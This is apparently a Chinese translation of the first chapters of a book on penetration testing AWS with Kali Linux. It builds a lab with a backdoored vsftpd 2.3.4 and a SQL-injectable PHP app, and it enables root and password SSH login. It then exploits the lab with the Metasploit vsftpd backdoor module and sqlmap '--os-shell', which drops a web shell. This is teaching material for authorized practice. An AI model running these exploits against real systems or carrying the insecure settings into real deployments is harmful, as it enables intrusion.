Kali-Linux-AWS-渗透测试实用指南(全)

Kali Linux AWS 渗透测试实用指南(全)

原文:annas-archive.org/md5/25FB30A9BED11770F1748C091F46E9C7

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

这本书是第一本这样的书,将帮助您通过渗透测试来保护您的Amazon Web ServicesAWS)基础架构的各个方面。它介绍了在 AWS 中设置测试环境、使用各种工具执行侦察以识别易受攻击的服务、查找各种组件的错误配置和不安全配置,以及如何利用漏洞来进一步获取访问权限的过程。

本书适合谁

如果您是一名安全分析师或渗透测试人员,有兴趣利用云环境来建立易受攻击的区域,然后保护它们,这本书适合您。基本的渗透测试、AWS 及其安全概念的理解将是必要的。

充分利用本书

确保您已经设置了 AWS 帐户,并确保您对 AWS 服务及其相互配合的工作原理有很好的理解。

下载示例代码文件

您可以从www.packt.com的帐户中下载本书的示例代码文件。如果您在其他地方购买了这本书,您可以访问www.packt.com/support并注册,以便文件直接通过电子邮件发送给您。

您可以按照以下步骤下载代码文件:

  1. www.packt.com上登录或注册。

  2. 选择“支持”选项卡。

  3. 单击“代码下载和勘误”。

  4. 在搜索框中输入书名,然后按照屏幕上的说明进行操作。

下载文件后,请确保使用最新版本的解压缩或提取文件夹:

  • Windows 的 WinRAR/7-Zip

  • Mac 的 Zipeg/iZip/UnRarX

  • Linux 的 7-Zip/PeaZip

该书的代码包也托管在 GitHub 上,网址为github.com/PacktPublishing/Hands-On-AWS-Penetration-Testing-with-Kali-Linux。如果代码有更新,将在现有的 GitHub 存储库上进行更新。

我们还有其他代码包,来自我们丰富的图书和视频目录,可在github.com/PacktPublishing/上找到。请查看!

下载彩色图像

我们还提供了一个 PDF 文件,其中包含本书中使用的屏幕截图/图表的彩色图像。您可以在这里下载:www.packtpub.com/sites/default/files/downloads/9781789136722_ColorImages.pdf

使用的约定

本书中使用了许多文本约定。

CodeInText:指示文本中的代码单词,数据库表名,文件夹名称,文件名,文件扩展名,路径名,虚拟 URL,用户输入和 Twitter 句柄。这是一个例子:“这些信息在我们刚刚在"Environment"键下进行的ListFunctions调用中返回给我们。”

代码块设置如下:

"Environment": {
    "Variables": {
        "app_secret": "1234567890"
   }
}

当我们希望引起您对代码块的特定部分的注意时,相关行或项目将以粗体设置:

:%s/^/kirit-/g
or :%s/^/<<prefix>>/g

任何命令行输入或输出都以以下方式编写:

aws lambda list-functions --profile LambdaReadOnlyTester --region us-west-2

粗体:表示新术语,重要单词或屏幕上看到的单词。例如,菜单或对话框中的单词会以这种方式出现在文本中。这是一个例子:“现在,点击创建存储桶来创建它。”

警告或重要说明会以这种方式出现。

提示和技巧会以这种方式出现。

第一部分:AWS 上的 Kali Linux

本节是针对初学者的介绍,介绍了一个没有准备好的 AWS 环境的个人如何设置实验室来练习其渗透测试技能,以及他们可以练习技能的方式。它还指导读者如何在 AWS 上设置一个 Kali pentestbox,只需使用一个网页浏览器就可以轻松访问。

本节将涵盖以下章节:

  • 第一章,在 AWS 上设置渗透测试实验室

  • 第二章,在云上设置 Kali Pentestbox

  • 第三章,在云上使用 Kali Linux 进行利用

第一章:在 AWS 上设置渗透测试实验室

本章旨在帮助无法直接访问渗透测试目标的渗透测试人员在 AWS 内部设置易受攻击的实验室环境。这个实验室将允许测试人员使用 Metasploit 进行各种利用技术的实践,并使用 Kali 内的多个工具进行基本扫描和漏洞评估。本章重点介绍在 AWS 上设置易受攻击的 Linux VM 和通用 Windows VM,将它们放在同一个网络上。

在本章中,我们将涵盖以下主题:

  • 在云上设置个人渗透测试实验室进行黑客攻击

  • 配置和保护虚拟实验室以防止意外访问

技术要求

在本章中,我们将使用以下工具:

  • 可恶的易受攻击的 Web 应用程序

  • 非常安全的文件传输协议守护程序vsftpd)版本2.3.4

设置易受攻击的 Ubuntu 实例

作为我们将要创建的两台易受攻击的机器中的第一台,易受攻击的 Ubuntu 实例将包含一个易受攻击的 FTP 服务,以及一些其他服务。

提供一个 Ubuntu EC2 实例

在云中设置易受攻击的实验室的第一步将是提供一个运行易受攻击操作系统的实例。为此,我们可以使用 Ubuntu LTS 版本。这可以从 AWS Marketplace 快速部署。

我们将使用 Ubuntu 16.04 来实现这一目的:

一旦单击“继续订阅”按钮,我们将提示配置要启动的实例。由于这是一个非常标准的镜像,我们将使用默认设置,除了区域和 VPC 设置。

对于区域,您可以使用距离自己最近的 AWS 区域。但是,请记住,您在 AWS 上创建的所有其他实例都需要托管在同一个区域,否则它们无法成为同一网络的一部分。

对于 VPC,请确保您记下了用于设置此实例的 VPC 和子网 ID。我们需要为实验室中的所有其他主机重复使用它们。在这种情况下,我将使用以下内容:

应该注意的是,VPC ID 和子网 ID 对每个人都是唯一的。完成后,我们可以通过单击“一键启动”按钮来部署 EC2 实例。

完成后,下一步是使用以下命令 SSH 到新创建的 VM:

ssh -i <pem file> <IP address of the instance>

连接后,运行以下命令:

sudo apt-get update && sudo apt-get dist-upgrade

这些命令将更新存储库列表和实例上安装的所有软件包,因此我们不必处理任何旧软件包。

在 Ubuntu 上安装易受攻击的服务

对于这个 Ubuntu 主机,我们将安装一个易受攻击版本的 FTP 服务器vsftpd。发现 2.3.4 版本的这个 FTP 软件被植入了后门。在本章中,我们将安装这个带有后门的版本,然后将尝试使用我们将在下一章中设置的渗透测试盒来识别它,最后我们将利用它。

为了使事情变得更容易,vsftpd 2.3.4的后门版本被存档在 GitHub 上。我们将使用该代码库来安装易受攻击的软件。首先,我们需要克隆git存储库:

git clone https://github.com/nikdubois/vsftpd-2.3.4-infected.git

接下来,我们需要安装用于设置主要构建环境的软件包。为此,我们运行以下命令:

sudo apt-get install build-essential

现在,我们cd进入vsftpd文件夹以从源代码构建它。但是,在这之前,我们需要对Makefile进行一些小改动。需要添加-lcrypt值作为链接器标志:

完成后,保存文件并运行make

如果一切顺利,我们应该在同一个文件夹中看到一个vsftpd二进制文件:

接下来,我们需要在安装vsftpd之前设置一些先决条件。即,我们需要添加一个名为nobody的用户和一个名为empty的文件夹。要做到这一点,请运行以下命令:

useradd nobody
mkdir /usr/share/empty

完成后,我们可以通过执行以下命令来运行安装:

sudo cp vsftpd /usr/local/sbin/vsftpd
sudo cp vsftpd.8 /usr/local/man/man8
sudo cp vsftpd.conf.5 /usr/local/man/man5
sudo cp vsftpd.conf /etc

完成后,我们需要执行vsftpd二进制文件,以确认我们是否可以连接到localhost

下一步是设置 FTP 服务器的匿名访问。为此,我们需要运行以下命令:

mkdir /var/ftp/
useradd -d /var/ftp ftp
chown root:root /var/ftp chmod og-w /var/ftp

最后,通过对/etc/vsftpd.conf进行以下更改,启用对vsftpd服务器的本地登录:

设置易受攻击的 Windows 实例

通过设置易受攻击的 Linux 服务器,我们现在通过运行易受攻击的 Web 应用程序的 Windows 服务器来设置一个攻击向量。该应用程序将提供两个环境,读者可以在其中尝试他们的手,而无需实际的测试环境。

配置易受攻击的 Windows 服务器实例

为了本实验宿主的目的,我们将使用 AWS Marketplace 上的 Server 2003 实例:

配置步骤与我们之前设置 Linux 实例的步骤基本相同。应注意 VPC 设置与我们为以前的实例使用的设置相似。这将稍后允许我们配置 VM 以处于相同的网络上。

在验证 VPC 设置和区域后,我们继续启动实例,就像我们之前做的那样。最后,我们设置一直在使用的密钥对,然后就可以开始了。实例启动后,我们需要遵循稍有不同的流程来远程访问 Windows 实例。由于远程桌面协议RDP)不支持基于证书的身份验证,我们需要提供私钥来解密并获取密码,以便我们可以登录。只需右键单击实例,然后选择获取 Windows 密码:

在接下来的屏幕上,我们需要上传之前下载的私钥:

完成后,只需单击“解密密码”即可为我们提供密码,我们可以使用该密码远程桌面连接到我们的 Windows 服务器实例。完成后,只需启动远程桌面并使用显示的凭据连接到 IP 地址即可。

一旦我们登录,下一步是在 Windows 服务器上设置 XAMPP,这样我们就可以在服务器上托管一个易受攻击的网站。但在继续之前,我们需要在服务器上安装最新版本的 Firefox,因为随 Windows Server 2003 捆绑的 Internet Explorer 版本相当陈旧,不支持一些网站配置。要下载 XAMPP,只需访问www.apachefriends.org/download.html并下载适用于 XP 和 Windows Server 2003 的版本:

请注意,您需要向下滚动并下载正确版本的 XAMPP:

最后,我们需要按照默认安装过程进行,然后我们将获得一个可用的 PHP、Apache 和 MySQL 安装,以及一些必要的实用程序,用于管理网站。

在 Windows 上配置易受攻击的 Web 应用程序

在本节中,我们将为渗透测试实验室设置一个极易受攻击的 Web 应用程序。首先,让我们通过访问C:\xampp\htdocs来清理 XAMPP 托管文件夹。

创建一个名为_bak的新文件夹,并将所有现有文件剪切并粘贴到该文件夹中。现在,让我们下载易受攻击的网站源代码。为此,我们将使用 GitHub 上提供的众多易受攻击的 PHP 示例之一:github.com/ShinDarth/sql-injection-demo/

最快获取文件的方法是直接下载 ZIP 文件:

下载源代码

下载后,只需将 ZIP 文件的内容复制到C:\xampp\htdocs文件夹中。如果操作正确,文件结构应如下所示:

文件结构

完成后,下一步是为应用程序创建数据库并将数据导入其中。为了实现这一点,您需要访问 phpMyAdmin 界面,该界面可在http://127.0.0.1/phpmyadmin访问。在这里,选择最近的“新建”选项:

在这里,我们创建一个名为sqli的新数据库:

接下来,要将数据导入到新创建的数据库中,我们进入导入选项卡,并浏览到刚刚提取到htdocs文件夹中的database.sql文件:

点击 Go 后,我们将看到一个成功的消息。现在,如果我们在浏览器中浏览http://127.0.0.1,我们将能够访问易受攻击的网站:

恭喜,您已成功在 Windows 服务器上配置了一个易受攻击的 Web 应用程序!下一步将是在我们的 VPC 内设置网络规则,以便易受攻击的主机可以从其他 EC2 实例访问。

在实验室内配置安全组

现在我们已经设置了两个易受攻击的服务器,下一步是配置网络,使我们的 Web 应用程序对外部不可访问,同时使其他实验室机器可以相互通信。

配置安全组

我们最初将所有 EC2 实例设置为在同一个 VPC 上。这意味着 EC2 实例将位于同一子网上,并且可以通过内部 IP 地址相互通信。但是,AWS 不希望允许同一 VPC 上的所有 4,096 个地址相互通信。因此,默认安全组不允许 EC2 实例之间的通信。

为了允许 Ubuntu 实例连接到 Windows 实例(您可以在下一章中为 Kali 实例重复这些步骤),第一步是获取 Ubuntu 主机的私有 IP 地址:

显示私有 IP 的描述选项卡

接下来,我们需要修改第一个 Windows 实例的安全组规则。只需在摘要窗格中点击安全组名称即可进入安全组屏幕:

安全组屏幕

现在我们只需要点击编辑按钮,添加规则允许从 Kali Linux 实例中访问所有流量:

完成后,只需保存此配置。为了确认 Kali 现在可以与 Windows 服务器通信,让我们运行一个curl命令,看看网站是否可访问:

curl -vL 172.31.26.219

确保用您的 Windows IP 地址替换 IP 地址。如果一切顺利,应该会有一堆 JavaScript 作为响应:

在下一章中,一旦 Kali PentestBox 设置完成,可以使用上述步骤在 Ubuntu 和 Windows 服务器实例上将 Kali Linux IP 地址列入白名单,以便开始对实验室环境进行黑客攻击!

摘要

在本章中,我们已经建立了一个实验室,对于没有测试环境或实际实验经验的初学者渗透测试人员来说,这可能是有用的。在我们的实验室中,我们设置了一个运行易受攻击服务的 Ubuntu 主机,还设置了一个运行易受攻击 Web 应用程序的 Windows 服务器主机。这代表了任何环境中攻击的两个最大的表面区域。此外,我们还经历了建立各个实例之间的网络连接的过程。通过这些步骤,用户可以在云中设置任何操作系统实例,设置安全组以配置网络,并防止未经授权的访问。

在下一章中,我们将研究如何设置 Kali PentestBox,使用它可以对我们设置的两个易受攻击的 EC2 实例进行扫描、枚举和利用。

进一步阅读

第二章:在云上设置 Kali PentestBox

有一个现成的Amazon Machine ImageAMI)在亚马逊市场上运行 Kali Linux。这意味着渗透测试人员可以快速在亚马逊云上设置 Kali Linux 实例,并随时访问它进行任何类型的渗透测试。本章重点介绍在 Amazon EC2 实例上创建一个实例,使用 Kali Linux AMI 进行设置,并以各种方式配置对此主机的远程访问。一旦设置好,渗透测试人员可以远程访问属于 AWS 帐户的虚拟私有云VPC),并在该 VPC 内和任何远程主机上使用 Kali 进行渗透测试。

在本章中,我们将学习以下内容:

  • 如何在亚马逊云上运行 Kali Linux

  • 通过 SSH 远程访问 Kali

  • 通过无客户端 RDP 远程访问 Kali

技术要求

在本章中,我们将使用以下工具:

在 AWS EC2 上设置 Kali Linux

在本节中,我们将介绍在云上设置虚拟渗透测试机器的最初步骤,以及设置远程访问以便随时进行渗透测试。渗透测试机器将与第一章中设置的渗透测试实验室在 AWS 上设置渗透测试实验室相辅相成,该实验室允许您对这些主机进行渗透测试和利用。

Kali Linux AMI

AWS 提供了一个令人着迷的功能,允许在亚马逊云上快速部署虚拟机VMs)—Amazon Machine ImagesAMIs)。这些作为模板,允许用户在 AWS 上快速设置新的 VM,而无需像传统 VM 那样手动配置硬件和软件。然而,这里最有用的功能是 AMIs 允许您完全绕过操作系统安装过程。因此,决定需要什么操作系统并在云上获得一个完全功能的 VM 所需的时间总量减少到几分钟——和几次点击。

Kali Linux AMI 是最近才添加到 AWS 商店的,我们将利用它来快速在亚马逊云上设置我们的 Kali VM。使用现成的 AMI 设置 Kali 实例非常简单——我们首先访问 AWS Marketplace 中的 Kali Linux AMI:

前面的截图显示了以下信息:

  • 我们正在使用的 AMI 版本(2018.1)

  • 在默认实例中运行这个的典型总价格

  • AMI 的概述和详细信息

值得注意的是,Kali Linux 的默认推荐实例大小是 t2.medium,如我们在定价信息下所见:

在页面的下方,我们可以看到 t2.medium 实例的大小包括两个 CPU 虚拟核心和 4GiB 的 RAM,这对于我们的设置来说已经足够了:

一旦确认我们根据要求设置了镜像,我们可以继续点击“继续订阅”选项来进行实例设置。

配置 Kali Linux 实例

在前一节中,我们确认了要使用的 AMI 以及我们将使用的机器的规格,以启动我们的 Kali 机器。一旦选择了这些,就是启动我们的机器的时候了。

这将带我们到 EC2 页面。这里包含一些需要设置的选项:

  • 我们将使用的 AMI 版本:通常建议使用市场上可用的最新版本的 AMI。通常情况下,这不是默认选择的 Kali Linux 版本。在撰写本文时,最新版本是 2018.1,构建日期是 2018 年 2 月,如下所示:

自 2019.1 版本发布后,您需要下载最新版本的 Kali Linux。

  • 我们将部署实例的区域:如在第一章中所讨论的,在 AWS 上设置渗透测试实验室,我们需要将区域设置为地理位置最接近当前位置的数据中心。

  • EC2 实例大小:这已经在上一步中验证过了。我们将在本书的后面部分更深入地研究各种实例类型和大小。

  • VPC 设置:VPC 和子网设置需要设置为使用我们在第一章中设置渗透测试实验室时使用的相同 VPC。这将使我们的黑客工具箱与我们之前设置的易受攻击的机器处于同一网络中。设置应该与上一章中配置的相匹配:

  • 安全组:之前,我们设置了安全组,以便未经授权的外部人员无法访问实例。然而,在这种情况下,我们需要允许远程访问我们的 Kali 实例。因此,我们需要将 SSH 和 Guacamole 远程访问端口转发到一个新的安全组:

  • 密钥对:我们可以使用在第一章中设置实验室环境时创建的相同密钥对,在 AWS 上设置渗透测试实验室

有了这些设置,我们就可以点击“一键启动”来启动实例了:

然后 AWS 将启动 Kali 机器并分配一个公共 IP。然而,我们需要能够访问这台机器。在下一节中,我们将看到如何使用 OpenSSH 来访问 Kali 机器。

配置 OpenSSH 进行远程 SSH 访问

AWS 已经为他们的 Kali AMI 设置了默认的 SSH 访问形式,使用公钥的ec2-user帐户。然而,这对于通过移动设备访问并不方便。对于希望通过移动应用程序直接以 root 权限方便地 SSH 到他们的 Kali 实例的用户,以下部分将介绍该过程。然而,需要注意的是,使用具有 PKI 身份验证的有限用户帐户是通过 SSH 连接的最安全方式,如果保护实例是优先考虑的话,不建议使用具有密码的 root 帐户。

设置 root 和用户密码

在 Kali Linux 实例上配置 root SSH 的第一步是设置 root 密码。通常情况下,使用具有sudo权限的ec2-user帐户的ec2实例不会为 root 帐户设置密码。然而,由于我们正在设置来自移动 SSH 应用程序的 SSH 访问,这需要设置。然而,需要注意的是,这会降低 Kali 实例的安全性。

更改 root 密码就像在 SSH 终端上运行sudo passwd一样简单:

同样,当前用户的密码也可以通过在 SSH 上运行sudo passwd ec2-user来更改:

这将有助于在不支持身份验证密钥的 SSH 客户端应用程序中作为ec2-user进行 SSH。然而,在我们能够以 root 身份 SSH 到 Kali 实例之前,还有另一步需要完成。

在 SSH 上启用 root 和密码身份验证

作为增强的安全措施,OpenSSH 服务器默认情况下禁用了 root 登录。启用这一点是一个简单的过程,涉及编辑一个配置文件,/etc/ssh/sshd_config

其中关键的部分是两个条目:

  • PermitRootLogin:如果要以 root 身份登录,可以将其设置为yes

  • PasswordAuthentication:需要将其设置为yes,而不是默认的no,以便使用密码登录。

完成更改后,您需要重新启动 ssh 服务:

sudo service ssh restart

有了这个,我们在云上的 Kali 机器已经启动并运行,并且可以通过密码进行 SSH 访问。但是,SSH 只能为您提供命令行界面。

在下一节中,我们将看看如何设置远程桌面服务以获得对 Kali 机器的 GUI 访问。

设置 Guacamole 进行远程访问

Apache Guacamole 是一种无客户端的远程访问解决方案,它将允许您使用浏览器远程访问 Kali Linux 实例。这将使您能够即使在移动设备上也可以访问 PentestBox,而无需担心远程访问周围的其他复杂性。访问此类服务器的传统方式是通过 SSH,但是当从移动设备访问时,这将无法提供 GUI。

加固和安装先决条件

设置远程访问虚拟机可能是一件危险的事情,因此建议安装和设置防火墙和 IP 黑名单服务,以防范针对互联网的暴力破解和类似攻击。我们将安装的服务是ufwfail2ban。它们非常容易设置:

  1. 您只需要运行以下命令:
sudo apt-get install ufw fail2ban
  1. 安装了ufw防火墙后,我们需要允许用于远程访问的两个端口:22用于 SSH 和55555用于 Guacamole。因此,我们需要运行以下命令:
sudo ufw allow 22
sudo ufw allow 55555
  1. 完成后,我们需要重新启动ufw服务:

  1. 接下来,我们需要安装 Apache Guacamole 的先决条件。您可以通过执行以下命令来实现:
sudo apt-get install build-essential htop libcairo2-dev libjpeg-dev libpng-dev libossp-uuid-dev tomcat8 freerdp2-dev libpango1.0-dev libssh2-1-dev libtelnet-dev libvncserver-dev libpulse-dev libssl-dev libvorbis-dev
  1. 安装后,我们需要修改 Apache Tomcat 的配置,使其监听端口55555(与我们的安全组设置相匹配),而不是默认的8080。为此,我们需要运行以下命令:
sudo nano /etc/tomcat8/server.xml
  1. 在这个文件中,Connector port需要从8080更改为55555,如下面的截图所示:

  1. 接下来,我们需要在 Kali 实例上设置 RDP 服务。通过以下命令安装xrdp可以轻松实现这一点:
sudo apt install xrdp
  1. 接下来,我们需要允许所有用户访问 RDP 服务(X 会话)。这需要编辑一个文件:
sudo nano /etc/X11/Xwrapper.config
  1. 在这个文件中,将allowed_users的值编辑为anybody
allowed_users=anybody
  1. 最后,我们需要设置xrdp服务自动启动并enable服务:
sudo update-rc.d xrdp enable
sudo systemctl enable xrdp-sesman.service
sudo service xrdp start
sudo service xrdp-sesman start
  1. 完成这一步后,我们需要从guacamole.apche.org/releases/下载 Apache Guacamole 服务器的源代码。

请记住,您需要下载最新的guacamole-server.tar.gzguacamole.war文件。在撰写本文时,最新版本是0.9.14,我们可以使用以下命令下载:

wget http://mirrors.estointernet.in/apache/guacamole/1.0.0/source/guacamole-server-1.0.0.tar.gz
wget http://mirrors.estointernet.in/apache/guacamole/1.0.0/binary/guacamole-1.0.0.wa
  1. 一旦这些文件被下载,我们需要通过执行以下代码来提取源代码:
tar xvf guacamole-server.tar.gz
  1. 进入提取的目录后,我们需要构建和安装软件包。可以通过执行以下代码实现:
CFLAGS="-Wno-error" ./configure --with-init-dir=/etc/init.d
make -j4
sudo make install
sudo ldconfig
sudo update-rc.d guacd defaults
  1. 一旦成功运行,Guacamole 就安装完成了。但是,为了完全设置远程访问,还需要进行进一步的配置。

为 SSH 和 RDP 访问配置 Guacamole

Guacamole 的默认配置目录是/etc/guacamole。它需要一个名为guacamole.properties的文件才能正常运行。还有一些其他目录,我们可能想要放在配置目录中,但对于当前的设置来说,它们是不需要的。

  1. Guacamole 属性文件应包含有关guacamole 代理地址的信息:
# Hostname and port of guacamole proxy
guacd-hostname: localhost
guacd-port:     4822
  1. 除此之外,我们还需要在同一目录中添加一个名为user-mapping.xml的文件,其中包含 Guacamole 将进行身份验证的用户名和密码列表:
<user-mapping> <authorize username="USERNAME" password="PASSWORD">
 <connection name="RDP Connection"> <protocol>rdp</protocol> <param name="hostname">localhost</param> <param name="port">3389</param>
 </connection>
 <connection name="SSH Connection"> <protocol>ssh</protocol> <param name="hostname">localhost</param> <param name="port">22</param>
 </connection> </authorize>
</user-mapping>
  1. 完成后,是时候部署我们之前下载的 war 文件了。我们需要将它移动到tomcat8/webapps文件夹中,以便自动部署:
mv guacamole-0.9.14.war /var/lib/tomcat8/webapps/guacamole.war
  1. 现在,我们只需重新启动guacdtomcat8服务,就可以让 Apache Guacamole 正常运行了!要做到这一点,使用以下命令:
sudo service guacd restart
sudo service tomcat8 restart
  1. 还有最后一个配置步骤是必需的——将认证信息复制到 Guacamole 客户端目录中。执行以下代码即可完成:
mkdir /usr/share/tomcat8/.guacamole
ln -s /etc/guacamole/guacamole.properties /usr/share/tomcat8/.guacamole
  1. 现在,如果我们将浏览器指向ipaddr:55555/guacamole,我们就能访问 Guacamole 了!我们会看到以下屏幕:

  1. 我们必须使用在user-mapping.xml文件中设置的相同凭据登录。

  2. 一旦我们成功登录,只需简单地选择我们想要访问服务器的技术:

恭喜,您已成功在云上设置了 Kali PentestBox,并可以在任何地方使用浏览器远程访问!

摘要

通过阅读本章,您将能够成功在亚马逊云上设置 Kali Linux PentestBox,这将有助于您在接下来的章节中进行练习。我们学会了如何通过 SSH、RDP 和 Apache Guacamole 设置远程访问云实例。本章还着重介绍了有关云实例加固的某些信息,这将帮助您更好地理解本书后续有关 EC2 服务的一些高级安全概念。

在下一章中,我们将介绍如何使用我们在第一章中设置的 PentestBox 对我们的渗透测试实验室进行自动化和手动渗透测试的步骤。

问题

  1. 与使用tightvnc等服务相比,使用 Guacamole 进行远程访问的优势是什么?

  2. 使用当前设置,任何知道 IP 地址的人都可以轻松访问 Guacamole 界面。有没有办法保护服务器免受这种访问?

  3. 在 Guacamole 编译过程中添加的-Wno-error标志的目的是什么?

  4. 为什么默认的sshd_config将 PermitRootLogin 值设置为no

  5. 为什么 AWS 禁用基于密码的登录?

  6. 我们可以使用 SSH 隧道来提高此设置的安全性吗?

进一步阅读

第三章:在云上使用 Kali Linux 进行利用

在第二章中,在云上设置 Kali PentestBox,我们设置了一个渗透测试实验室,以及配置了远程访问的 Kali Linux PentestBox。现在是时候开始在实验室中的易受攻击主机上执行一些扫描和利用了。

本章将重点介绍使用商业工具的免费版本进行自动化漏洞扫描的过程,然后利用Metasploit来利用发现的漏洞。这些漏洞早已内置在实验室环境中,在之前配置的易受攻击主机上,分别在第一章和第二章中。

本章将涵盖以下主题:

  • 使用 Nessus 运行自动化扫描并验证发现的漏洞

  • 使用 Metasploit 和 Meterpreter 进行利用

  • 利用易受攻击的 Linux 和 Windows 虚拟机(VMs)

技术要求

本章将使用以下工具:

  • Nessus(需要手动安装)

  • Metasploit

配置和运行 Nessus

Nessus 是一个流行的工具,用于自动化网络内的漏洞扫描,还具有扫描 Web 应用程序的附加功能。在第一部分中,我们将在 EC2 上的 PentestBox 上设置 Nessus。然后我们将使用它在之前设置的实验室上运行基本和高级扫描。

在 Kali 上安装 Nessus

使用 Nessus 进行自动化渗透测试和漏洞评估的第一步,显然是在 Kali 上安装它。为了简化操作,Nessus 以.deb软件包的形式直接安装,可以使用dpkg进行安装。

  1. 要安装 Nessus,第一步是从 tenable 网站下载.deb软件包,网址为www.tenable.com/downloads/nessus

  1. 下载后,我们需要将其传输到我们在 AWS 上的 Kali PentestBox。在 Windows 上,可以使用WinSCP进行文件传输。在 Linux/macOS 上,可以使用本机 SCP 实用程序。设置在winscp.net/eng/download.php上可用

  2. 安装了 WinSCP 后,我们需要建立到 Kali PentestBox 的连接。首先,我们需要添加一个新站点:

  1. 接下来,我们需要添加从 AWS 下载的公钥进行身份验证。为此,需要点击高级并在 SSH | 身份验证中设置密钥的路径:

  1. 完成后,只需保存站点,然后连接到它,以在远程主机上查看文件夹列表:

  1. 从这里开始,只需将.deb软件包拖放到我们在上一步中访问的root文件夹中。完成后,我们可以开始安装软件包。可以通过 SSH shell 到 AWS EC2 实例使用dpkg来实现:

  1. 完成后,启动 Nessus 服务并确认其正在运行:
sudo /etc/init.d/nessusd start
sudo service nessusd status
  1. 如果status命令返回运行状态,则我们已成功启动服务。接下来,我们需要设置 SSH 隧道,将端口8834从 Kali PentestBox 转发到我们的本地主机上的 SSH 连接。在 Linux 终端上,需要使用以下语法:
ssh -L 8834:127.0.0.1:8834 ec2-user@<IP address>
  1. 在 Windows 上,如果使用 PuTTY,可以在此处配置 SSH 隧道,点击 PuTTY 启动后选择 Tunnels 选项:

  1. 完成后,重新连接到实例,现在可以在本地机器上访问 Nessus,网址为https://127.0.0.1:8834

配置 Nessus

一旦 Nessus 被安装并且 SSH 隧道被配置,我们可以通过指向https://127.0.0.1:8834在浏览器上访问 Nessus。我们现在需要经历一系列的第一步来设置 Nessus。

  1. 第一个屏幕提示用户创建一个帐户:

  1. 输入合适的凭据并继续下一步。现在我们需要激活家庭许可证。我们可以在www.tenable.com/products/nessus-home填写以下表格来获取一个:

  1. 一旦您通过电子邮件收到激活码,请在 Web 界面中输入它并触发初始化过程。现在 Nessus 正在下载扫描网络资产所需的数据:

这个过程通常需要几分钟,所以在这个过程中有足够的时间去拿一杯咖啡。

执行第一次 Nessus 扫描

初始化完成后,我们将被 Nessus 主页欢迎。在这里,我们需要点击“新扫描”来开始对我们之前设置的渗透测试实验室进行新的扫描。

  1. 一旦进入新的扫描选项卡,我们需要开始一个基本的网络扫描:

  1. 点击基本网络扫描后,我们需要给出一个扫描名称,并输入实验室中设置的另外两个主机的 IP:

  1. 接下来,我们配置 DISCOVERY 和 ASSESSMENT 选项。对于发现,让我们请求扫描所有服务:

这样做的好处是枚举主机上运行的所有服务,并在它们上没有传统服务运行时发现主机。

  1. 让我们配置 Nessus 来扫描 Web 应用程序:

  1. 最后,我们启动扫描:

一次又一次,扫描是一个耗时的过程,所以平均需要大约 15 到 20 分钟才能完成,如果不是更多的话。

利用一个有漏洞的 Linux 虚拟机

现在我们已经完成了对易受攻击实验室中两个主机的扫描,是时候开始对这些主机进行利用了。我们的第一个目标是我们实验室中设置的 Ubuntu 实例。在这里,我们将查看这个主机的扫描结果,并尝试未经授权地访问这个主机。

了解 Linux 的 Nessus 扫描

我们首先从我们的 Ubuntu 服务器主机的 Nessus 扫描结果开始:

毫不奇怪,我们只发现了一堆信息漏洞,因为只安装了两个服务——FTPSSH。FTP 服务器内置了一个后门;然而,它并没有成为一个关键的漏洞。如果你看一下 Linux 扫描中的最后一个结果,它确实检测到安装了带有后门的 vsftpd 2.3.4。

总结一下这个页面上的其他结果,Nessus SYN 扫描器只是列出了主机上启用的一些服务:

这个页面上还有一堆更有用的信息可以手动检查。目前,我们将专注于我们在 Ubuntu 服务器上安装的vsftpd服务的利用。

在 Linux 上的利用

为了利用vsftpd服务,我们将使用 Kali Linux 内置的Metasploit。只需在终端中输入msfconsole即可加载:

在这里,我们可以简单地搜索服务的名称,看看是否有任何相关的利用。要做到这一点,只需运行以下命令:

search vsftpd

这将列出具有特定关键字的利用列表。在这种情况下,只有一个利用:

我们可以通过运行以下命令来使用这个利用:

use exploit/unix/ftp/vsftpd_234_backdoor

这将更改提示符为利用的提示符。现在需要做的就是运行以下命令:

set RHOST <ip address of Ubuntu server>

以下是确认的显示:

最后,只需运行exploitvsftpd exploit将被执行,以提供具有root权限的交互式反向 shell:

使用这个反向 shell,您可以自由运行操作系统支持的任何命令。这是一个很好的地方,可以在Metasploit上玩弄辅助和后期利用模块。

利用易受攻击的 Windows 虚拟机

最后,让我们来看一下 Windows Nessus 扫描的结果。这有更有趣的扫描结果,因为我们使用了一个不再接收更新的 EOL 操作系统,以及一个较旧版本的 Web 应用程序服务器。

理解 Windows Nessus 扫描

由于使用了终止生命周期的操作系统以及过时的服务器,Windows 的 Nessus 扫描产生了大量问题。让我们首先专注于最关键的发现:

存在许多与过时的 OpenSSL 和 PHP 安装有关的问题,以及一些发现指出 Windows Server 2003 是不受支持的操作系统。然而,这里最重要的问题是检测到 SMBv1 中的多个漏洞。此漏洞的详细信息指出了相关 SMB 漏洞的通用漏洞和暴露CVEs)以及这些漏洞的补丁:

除了易受攻击和过时的服务外,扫描还发现了一些 Web 应用程序问题:

由于我们在 Linux 主机上利用了一个网络服务,我们将专注于利用 Web 应用程序的一个漏洞来获得对 shell 的访问。

在 Windows 上的利用

易受攻击的 Web 应用程序存在SQL 注入漏洞。SQL 注入允许攻击者注入任意的 SQL 查询并在后端 DBMS 上执行它们。此漏洞存在于以下 URL 上:

http://<ip>/books1.php?title=&author=t

在可能以管理员权限运行的 Web 应用程序上发生的 SQL 注入意味着可能完全接管 Web 应用程序。为此,我们将使用sqlmap。要使用sqlmap攻击 URL,语法如下:

sqlmap --url="http://<IP>/books1.php?title=&author=t"

sqlmap确认存在注入漏洞,如下所示:

下一步是使用sqlmap在远程服务器上获得 shell 访问权限。sqlmap带有一个非常方便的功能,可以上传一个分段器,用于将进一步的文件上传到 webroot。然后它通过上传一个执行命令并返回命令输出的 Web shell 来跟进,所有这些都可以通过一个命令完成。为了触发这个,执行以下命令:

sqlmap --url="http://<IP>/books1.php?title=&author=t" --os-shell --tmp-path=C:\\xampp\\htdocs

--os-shell要求sqlmap使用先前描述的方法生成一个 shell,--tmp-path值指定上传 PHP 文件的位置,以生成 shell。一旦执行命令,用户输入将被提示两次。第一次是选择技术,这种情况下是 PHP。第二次是触发完整路径泄露,可以启用。如果一切顺利,我们应该会看到一个交互式 shell:

与 Linux 利用一样,通过这个交互式 shell 可以执行任何命令。

总结

